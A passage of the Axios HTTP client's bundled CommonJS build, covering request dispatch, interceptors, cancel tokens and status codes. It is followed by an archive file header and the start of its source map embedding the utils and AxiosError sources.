@returns {function} */ validators$1.transitional = function transitional(validator, version, message) { function formatMessage(opt, desc) { return '[Axios v' + VERSION + '] Transitional option \'' + opt + '\'' + desc + (message ? '. ' + message : ''); } // eslint-disable-next-line func-names return (value, opt, opts) => { if (validator === false) { throw new AxiosError( formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')), AxiosError.ERR_DEPRECATED ); } if (version && !deprecatedWarnings[opt]) { deprecatedWarnings[opt] = true; // eslint-disable-next-line no-console console.warn( formatMessage( opt, ' has been deprecated since v' + version + ' and will be removed in the near future' ) ); } return validator ? validator(value, opt, opts) : true; }; }; /** * Assert object's properties type * * @param {object} options * @param {object} schema * @param {boolean?} allowUnknown * * @returns {object} */ function assertOptions(options, schema, allowUnknown) { if (typeof options !== 'object') { throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE); } const keys = Object.keys(options); let i = keys.length; while (i-- > 0) { const opt = keys[i]; const validator = schema[opt]; if (validator) { const value = options[opt]; const result = value === undefined || validator(value, opt, options); if (result !== true) { throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE); } continue; } if (allowUnknown !== true) { throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION); } } } var validator = { assertOptions, validators: validators$1 }; const validators = validator.validators; /** * Create a new instance of Axios * * @param {Object} instanceConfig The default config for the instance * * @return {Axios} A new instance of Axios */ class Axios { constructor(instanceConfig) { this.defaults = instanceConfig; this.interceptors = { request: new InterceptorManager$1(), response: new InterceptorManager$1() }; } /** * Dispatch a request * * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults) * @param {?Object} config * * @returns {Promise} The Promise to be fulfilled */ async request(configOrUrl, config) { try { return await this._request(configOrUrl, config); } catch (err) { if (err instanceof Error) { let dummy; Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error()); // slice off the Error: ... line const stack = dummy.stack ? dummy.stack.replace(/^.+\n/, '') : ''; try { if (!err.stack) { err.stack = stack; // match without the 2 top stack lines } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\n.+\n/, ''))) { err.stack += '\n' + stack; } } catch (e) { // ignore the case where "stack" is an un-writable property } } throw err; } } _request(configOrUrl, config) { /*eslint no-param-reassign:0*/ // Allow for axios('example/url'[, config]) a la fetch API if (typeof configOrUrl === 'string') { config = config || {}; config.url = configOrUrl; } else { config = configOrUrl || {}; } config = mergeConfig(this.defaults, config); const {transitional, paramsSerializer, headers} = config; if (transitional !== undefined) { validator.assertOptions(transitional, { silentJSONParsing: validators.transitional(validators.boolean), forcedJSONParsing: validators.transitional(validators.boolean), clarifyTimeoutError: validators.transitional(validators.boolean) }, false); } if (paramsSerializer != null) { if (utils$1.isFunction(paramsSerializer)) { config.paramsSerializer = { serialize: paramsSerializer }; } else { validator.assertOptions(paramsSerializer, { encode: validators.function, serialize: validators.function }, true); } } // Set config.method config.method = (config.method || this.defaults.method || 'get').toLowerCase(); // Flatten headers let contextHeaders = headers && utils$1.merge( headers.common, headers[config.method] ); headers && utils$1.forEach( ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'], (method) => { delete headers[method]; } ); config.headers = AxiosHeaders$1.concat(contextHeaders, headers); // filter out skipped interceptors const requestInterceptorChain = []; let synchronousRequestInterceptors = true; this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) { if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) { return; } synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous; requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected); }); const responseInterceptorChain = []; this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) { responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected); }); let promise; let i = 0; let len; if (!synchronousRequestInterceptors) { const chain = [dispatchRequest.bind(this), undefined]; chain.unshift.apply(chain, requestInterceptorChain); chain.push.apply(chain, responseInterceptorChain); len = chain.length; promise = Promise.resolve(config); while (i < len) { promise = promise.then(chain[i++], chain[i++]); } return promise; } len = requestInterceptorChain.length; let newConfig = config; i = 0; while (i < len) { const onFulfilled = requestInterceptorChain[i++]; const onRejected = requestInterceptorChain[i++]; try { newConfig = onFulfilled(newConfig); } catch (error) { onRejected.call(this, error); break; } } try { promise = dispatchRequest.call(this, newConfig); } catch (error) { return Promise.reject(error); } i = 0; len = responseInterceptorChain.length; while (i < len) { promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]); } return promise; } getUri(config) { config = mergeConfig(this.defaults, config); const fullPath = buildFullPath(config.baseURL, config.url); return buildURL(fullPath, config.params, config.paramsSerializer); } } // Provide aliases for supported request methods utils$1.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) { /*eslint func-names:0*/ Axios.prototype[method] = function(url, config) { return this.request(mergeConfig(config || {}, { method, url, data: (config || {}).data })); }; }); utils$1.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) { /*eslint func-names:0*/ function generateHTTPMethod(isForm) { return function httpMethod(url, data, config) { return this.request(mergeConfig(config || {}, { method, headers: isForm ? { 'Content-Type': 'multipart/form-data' } : {}, url, data })); }; } Axios.prototype[method] = generateHTTPMethod(); Axios.prototype[method + 'Form'] = generateHTTPMethod(true); }); var Axios$1 = Axios; /** * A `CancelToken` is an object that can be used to request cancellation of an operation. * * @param {Function} executor The executor function. * * @returns {CancelToken} */ class CancelToken { constructor(executor) { if (typeof executor !== 'function') { throw new TypeError('executor must be a function.'); } let resolvePromise; this.promise = new Promise(function promiseExecutor(resolve) { resolvePromise = resolve; }); const token = this; // eslint-disable-next-line func-names this.promise.then(cancel => { if (!token._listeners) return; let i = token._listeners.length; while (i-- > 0) { token._listeners[i](cancel); } token._listeners = null; }); // eslint-disable-next-line func-names this.promise.then = onfulfilled => { let _resolve; // eslint-disable-next-line func-names const promise = new Promise(resolve => { token.subscribe(resolve); _resolve = resolve; }).then(onfulfilled); promise.cancel = function reject() { token.unsubscribe(_resolve); }; return promise; }; executor(function cancel(message, config, request) { if (token.reason) { // Cancellation has already been requested return; } token.reason = new CanceledError(message, config, request); resolvePromise(token.reason); }); } /** * Throws a `CanceledError` if cancellation has been requested. */ throwIfRequested() { if (this.reason) { throw this.reason; } } /** * Subscribe to the cancel signal */ subscribe(listener) { if (this.reason) { listener(this.reason); return; } if (this._listeners) { this._listeners.push(listener); } else { this._listeners = [listener]; } } /** * Unsubscribe from the cancel signal */ unsubscribe(listener) { if (!this._listeners) { return; } const index = this._listeners.indexOf(listener); if (index !== -1) { this._listeners.splice(index, 1); } } /** * Returns an object that contains a new `CancelToken` and a function that, when called, * cancels the `CancelToken`. */ static source() { let cancel; const token = new CancelToken(function executor(c) { cancel = c; }); return { token, cancel }; } } var CancelToken$1 = CancelToken; /** * Syntactic sugar for invoking a function and expanding an array for arguments. * * Common use case would be to use `Function.prototype.apply`. * * ```js * function f(x, y, z) {} * var args = [1, 2, 3]; * f.apply(null, args); * ``` * * With `spread` this example can be re-written. * * ```js * spread(function(x, y, z) {})([1, 2, 3]); * ``` * * @param {Function} callback * * @returns {Function} */ function spread(callback) { return function wrap(arr) { return callback.apply(null, arr); }; } /** * Determines whether the payload is an error thrown by Axios * * @param {*} payload The value to test * * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false */ function isAxiosError(payload) { return utils$1.isObject(payload) && (payload.isAxiosError === true); } const HttpStatusCode = { Continue: 100, SwitchingProtocols: 101, Processing: 102, EarlyHints: 103, Ok: 200, Created: 201, Accepted: 202, NonAuthoritativeInformation: 203, NoContent: 204, ResetContent: 205, PartialContent: 206, MultiStatus: 207, AlreadyReported: 208, ImUsed: 226, MultipleChoices: 300, MovedPermanently: 301, Found: 302, SeeOther: 303, NotModified: 304, UseProxy: 305, Unused: 306, TemporaryRedirect: 307, PermanentRedirect: 308, BadRequest: 400, Unauthorized: 401, PaymentRequired: 402, Forbidden: 403, NotFound: 404, MethodNotAllowed: 405, NotAcceptable: 406, ProxyAuthenticationRequired: 407, RequestTimeout: 408, Conflict: 409, Gone: 410, LengthRequired: 411, PreconditionFailed: 412, PayloadTooLarge: 413, UriTooLong: 414, UnsupportedMediaType: 415, RangeNotSatisfiable: 416, ExpectationFailed: 417, ImATeapot: 418, MisdirectedRequest: 421, UnprocessableEntity: 422, Locked: 423, FailedDependency: 424, TooEarly: 425, UpgradeRequired: 426, PreconditionRequired: 428, TooManyRequests: 429, RequestHeaderFieldsTooLarge: 431, UnavailableForLegalReasons: 451, InternalServerError: 500, NotImplemented: 501, BadGateway: 502, ServiceUnavailable: 503, GatewayTimeout: 504, HttpVersionNotSupported: 505, VariantAlsoNegotiates: 506, InsufficientStorage: 507, LoopDetected: 508, NotExtended: 510, NetworkAuthenticationRequired: 511, }; Object.entries(HttpStatusCode).forEach(([key, value]) => { HttpStatusCode[value] = key; }); var HttpStatusCode$1 = HttpStatusCode; /** * Create an instance of Axios * * @param {Object} defaultConfig The default config for the instance * * @returns {Axios} A new instance of Axios */ function createInstance(defaultConfig) { const context = new Axios$1(defaultConfig); const instance = bind(Axios$1.prototype.request, context); // Copy axios.prototype to instance utils$1.extend(instance, Axios$1.prototype, context, {allOwnKeys: true}); // Copy context to instance utils$1.extend(instance, context, null, {allOwnKeys: true}); // Factory for creating new instances instance.create = function create(instanceConfig) { return createInstance(mergeConfig(defaultConfig, instanceConfig)); }; return instance; } // Create the default instance to be exported const axios = createInstance(defaults$1); // Expose Axios class to allow class inheritance axios.Axios = Axios$1; // Expose Cancel & CancelToken axios.CanceledError = CanceledError; axios.CancelToken = CancelToken$1; axios.isCancel = isCancel; axios.VERSION = VERSION; axios.toFormData = toFormData; // Expose AxiosError class axios.AxiosError = AxiosError; // alias for CanceledError for backward compatibility axios.Cancel = axios.CanceledError; // Expose all/spread axios.all = function all(promises) { return Promise.all(promises); }; axios.spread = spread; // Expose isAxiosError axios.isAxiosError = isAxiosError; // Expose mergeConfig axios.mergeConfig = mergeConfig; axios.AxiosHeaders = AxiosHeaders$1; axios.formToJSON = thing => formDataToJSON(utils$1.isHTMLForm(thing) ? new FormData(thing) : thing); axios.getAdapter = adapters.getAdapter; axios.HttpStatusCode = HttpStatusCode$1; axios.default = axios; module.exports = axios; //# sourceMappingURL=axios.cjs.map browser/axios.cjs.map000064400000612412151677271550010655 0ustar00{"version":3,"file":"axios.cjs","sources":["../../lib/helpers/bind.js","../../lib/utils.js","../../lib/core/AxiosError.js","../../lib/helpers/null.js","../../lib/helpers/toFormData.js","../../lib/helpers/AxiosURLSearchParams.js","../../lib/helpers/buildURL.js","../../lib/core/InterceptorManager.js","../../lib/defaults/transitional.js","../../lib/platform/browser/classes/URLSearchParams.js","../../lib/platform/browser/classes/FormData.js","../../lib/platform/browser/classes/Blob.js","../../lib/platform/browser/index.js","../../lib/platform/common/utils.js","../../lib/platform/index.js","../../lib/helpers/toURLEncodedForm.js","../../lib/helpers/formDataToJSON.js","../../lib/defaults/index.js","../../lib/helpers/parseHeaders.js","../../lib/core/AxiosHeaders.js","../../lib/core/transformData.js","../../lib/cancel/isCancel.js","../../lib/cancel/CanceledError.js","../../lib/core/settle.js","../../lib/helpers/parseProtocol.js","../../lib/helpers/speedometer.js","../../lib/helpers/throttle.js","../../lib/helpers/progressEventReducer.js","../../lib/helpers/isURLSameOrigin.js","../../lib/helpers/cookies.js","../../lib/helpers/isAbsoluteURL.js","../../lib/helpers/combineURLs.js","../../lib/core/buildFullPath.js","../../lib/core/mergeConfig.js","../../lib/helpers/resolveConfig.js","../../lib/adapters/xhr.js","../../lib/helpers/composeSignals.js","../../lib/helpers/trackStream.js","../../lib/adapters/fetch.js","../../lib/adapters/adapters.js","../../lib/core/dispatchRequest.js","../../lib/env/data.js","../../lib/helpers/validator.js","../../lib/core/Axios.js","../../lib/cancel/CancelToken.js","../../lib/helpers/spread.js","../../lib/helpers/isAxiosError.js","../../lib/helpers/HttpStatusCode.js","../../lib/axios.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n let result;\n if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n result = ArrayBuffer.isView(val);\n } else {\n result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n }\n return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n if (kindOf(val) !== 'object') {\n return false;\n }\n\n const prototype = getPrototypeOf(val);\n return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n let kind;\n return thing && (\n (typeof FormData === 'function' && thing instanceof FormData) || (\n isFunction(thing.append) && (\n (kind = kindOf(thing)) === 'formdata' ||\n // detect form-data instance\n (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n )\n )\n )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n // Don't bother if no value provided\n if (obj === null || typeof obj === 'undefined') {\n return;\n }\n\n let i;\n let l;\n\n // Force an array if not already something iterable\n if (typeof obj !== 'object') {\n /*eslint no-param-reassign:0*/\n obj = [obj];\n }\n\n if (isArray(obj)) {\n // Iterate over array values\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n // Iterate over object keys\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key;\n\n for (i = 0; i < len; i++) {\n key = keys[i];\n fn.call(null, obj[key], key, obj);\n }\n }\n}\n\nfunction findKey(obj, key) {\n key = key.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\n\nconst _global = (() => {\n /*eslint no-undef:0*/\n if (typeof globalThis !== \"undefined\") return globalThis;\n return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const {caseless} = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key) => {\n const targetKey = caseless && findKey(result, key) || key;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n }\n\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n forEach(b, (val, key) => {\n if (thisArg && isFunction(val)) {\n a[key] = bind(val, thisArg);\n } else {\n a[key] = val;\n }\n }, {allOwnKeys});\n return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n if (content.charCodeAt(0) === 0xFEFF) {\n content = content.slice(1);\n }\n return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, 'super', {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n\n destObj = destObj || {};\n // eslint-disable-next-line no-eq-null,eqeqeq\n if (sourceObj == null) return destObj;\n\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === undefined || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n if (!thing) return null;\n if (isArray(thing)) return thing;\n let i = thing.length;\n if (!isNumber(i)) return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n // eslint-disable-next-line func-names\n return thing => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n const generator = obj && obj[Symbol.iterator];\n\n const iterator = generator.call(obj);\n\n let result;\n\n while ((result = iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n\n return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n const descriptors = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n\n forEach(descriptors, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n\n Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n // skip restricted props in strict mode\n if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n return false;\n }\n\n const value = obj[name];\n\n if (!isFunction(value)) return;\n\n descriptor.enumerable = false;\n\n if ('writable' in descriptor) {\n descriptor.writable = false;\n return;\n }\n\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n };\n }\n });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n\n const define = (arr) => {\n arr.forEach(value => {\n obj[value] = true;\n });\n }\n\n isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n DIGIT,\n ALPHA,\n ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n let str = '';\n const {length} = alphabet;\n while (size--) {\n str += alphabet[Math.random() * length|0]\n }\n\n return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n const stack = new Array(10);\n\n const visit = (source, i) => {\n\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n return;\n }\n\n if(!('toJSON' in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n\n forEach(source, (value, key) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key] = reducedValue);\n });\n\n stack[i] = undefined;\n\n return target;\n }\n }\n\n return source;\n }\n\n return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n ALPHABET,\n generateString,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = (new Error()).stack;\n }\n\n this.message = message;\n this.name = 'AxiosError';\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n toJSON: function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils.toJSONObject(this.config),\n code: this.code,\n status: this.response && this.response.status ? this.response.status : null\n };\n }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n 'ERR_BAD_OPTION_VALUE',\n 'ERR_BAD_OPTION',\n 'ECONNABORTED',\n 'ETIMEDOUT',\n 'ERR_NETWORK',\n 'ERR_FR_TOO_MANY_REDIRECTS',\n 'ERR_DEPRECATED',\n 'ERR_BAD_RESPONSE',\n 'ERR_BAD_REQUEST',\n 'ERR_CANCELED',\n 'ERR_NOT_SUPPORT',\n 'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, 